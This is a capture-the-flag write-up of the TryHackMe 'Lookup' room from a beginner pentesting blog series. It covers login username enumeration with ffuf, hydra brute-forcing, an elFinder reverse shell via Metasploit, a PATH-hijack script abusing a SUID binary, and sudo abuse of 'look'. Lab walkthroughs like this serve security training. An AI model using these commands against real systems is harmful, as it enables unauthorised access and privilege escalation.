Skip to main content

TryHackeMe Writeup: Lookup

Updated 5 min readMarkdown
Part of seriesA beginner's pentesting guide

A web-based challenge covering username enumeration, credential brute-forcing, a known CVE in a file manager, and SUID binary abuse for privilege escalation.

Room url: https://tryhackme.com/room/lookup/

Recon

Starting with an nmap scan. Only two ports are open:

Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

A gobuster scan on the web server doesn't reveal much beyond index.php and login.php:

$ gobuster dir -u http://lookup.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,zip
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://lookup.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,txt,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 719]
login.php            (Status: 200) [Size: 1]
Progress: 43876 / 1323354 (3.32%)

Enumeration

The login page:

The login form has a subtle but critical flaw : it returns different error messages depending on whether the username exists.

Entering hahaha / hahaha (invalid user):

Entering admin / pass (valid user, wrong password):

Two distinct responses : the error message leaks whether a username is valid:

  • Valid username, wrong password → "Wrong password"
  • Wrong username (any password) → "Wrong username or password"

Exploitation

Username Enumeration

Now that admin is confirmed valid, a hydra run with rockyou finds admin : password123 ; but entering those creds still returns "Wrong username or password". Suspicious.

The behaviour maps out as:

  • Correct username, wrong password → "Wrong password"
  • Wrong username, correct/wrong password → "Wrong username or password"

So the brute was matching on the wrong error string. Flipping the approach: keep a dummy password and fuzz the username instead using ffuf, filtering out the "Wrong username or password" response:

$ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -u http://lookup.thm/login.php \
  -X POST \
  -d 'username=FUZZ&password=wrongpassword' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -mc all \
  -fr 'Wrong username or password'

admin                   [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 118ms]
jose                    [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 83ms]

Two valid usernames: admin and jose.

Credential Brute-Force

Bruting admin runs indefinitely so it's likely a very complex password. Trying jose with hydra:

$ hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong"

[80][http-post-form] host: lookup.thm   login: jose   password: password123
1 of 1 target successfully completed, 1 valid password found

jose : password123 and this one actually works.

Foothold via elFinder RCE

Logging in redirects to files.<ip-address>. After adding it to /etc/hosts, the app redirects to:

http://files.lookup.thm/elFinder/elfinder.html

The elFinder version is confirmed as 2.1.47 from

http://files.lookup.thm/elFinder/js/elfinder.min.js

Searchsploit turns up two relevant exploits:

Using the Metasploit reverse shell module with RHOSTS set:

The session kept dying with:

[*] 10.48.183.120 - Meterpreter session 8 closed.  Reason: Died
[+] Deleted uploaded file
[!] This exploit may require manual cleanup of '.2mhSqO.php' on the target
[*] Exploit completed, but no session was created.

After ~3 hours of debugging, two fixes:

  1. Verify LHOST : Run ip route get <victim-machine-ip> to confirm which interface IP is used to reach the target. That is the correct LHOST.
  2. Switch the payload : Use set payload php/reverse_php (or browse show payloads and pick an alternative). This is what ultimately worked.

Shell lands as www-data. A look at /etc/passwd shows three users with bash: root, think, and ubuntu

Lateral Movement : Abusing a Custom SUID Binary

Browsing through the system we find a user.txt under /home/think but we dont have permissions to read it because we are www-data

Searching for SUID binaries turns up something non-standard:

find / -perm -u=s -type f 2>/dev/null
...
/usr/sbin/pwm

Running it:

pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

The binary calls id, parses the username from the output, and reads /home/<username>/.passwords. Since it calls id without an absolute path, this is a classic PATH hijacking vulnerability.

Creating a fake id binary in /tmp that impersonates think:

cd /tmp
printf '#!/bin/bash\necho "uid=33(think) gid=33(think) groups=33(think)"\n' > id
chmod +x id
export PATH=/tmp:$PATH

When PATH is prepended with /tmp, the system finds the fake id there first before checking the real binary. Running pwm again now dumps the contents of /home/think/.passwords:

Using that as the password list for SSH:

$ hydra -l think -P jose_passwords.txt lookup.thm ssh

[22][ssh] host: lookup.thm   login: think   password: josemario.AKA(think)
1 of 1 target successfully completed, 1 valid password found

SSH in and grab the user flag:

Root Flag

As think, checking sudo permissions:

look is a file-reading utility; with sudo, it can read any file on the system.(gtfobins)

Using it directly against the root flag:

Root flag captured ; no full shell escalation required.


Key Takeaways

  • Differing error messages on login forms leak valid usernames are always worth probing both a known-bad username and a suspected valid one to compare responses.
  • PATH hijacking is highly effective when a SUID binary calls system commands by name rather than absolute path ; placing a fake binary earlier in $PATH redirects execution entirely.
  • The look utility with sudo rights is a straightforward file-read primitive always cross-reference sudo-allowed binaries against GTFOBins.

10 views

About the author

  • From Flaws to Resilience. Build.Break.Secure

No comments yet. Be the first to comment.

A beginner's pentesting guide

Part 3 of 5

I know that you guys ask ChatGPT for everything starting from breakfast recipies to everyday tasks and career decisions. But sometimes you go on a trek, and you reach a mountain and you see a bear coming towards you ready to attack. You quickly pull out your phone and open ChatGPT to ask what to do. But alas, you don't have internet connectivity. Game over; You're dead. I don't know how many of you have encountered a bear like that in actual life but if you are reading this you probably (like me) realised you've leased your brain to AI and you're starting to become too dependent on it and you probably should go back to the basics. If so, I welcome thee to my series of blogs on "hacking". Throughout this series, we'll start from the basics of what the hell to do when you are given a pentesting assignment. Sometimes you will encounter definitions, sometimes we'll go through tryhackme rooms together and sometimes, you'll have to do the hard job of setting up stuff (and I'm sure you'll ask ChatGPT to do that but let's try to do that on our own).

Up nextTryHackeMe Writeup: BruteitRoom url: https://tryhackme.com/room/bruteit/ Recon nmap Running a full port scan with service detection: ┌──(kali㉿kali)-[~/TryHackME] └─$ nmap -sV 10.48.154.61 -p- Starting Nmap 7.99 ( https://nmap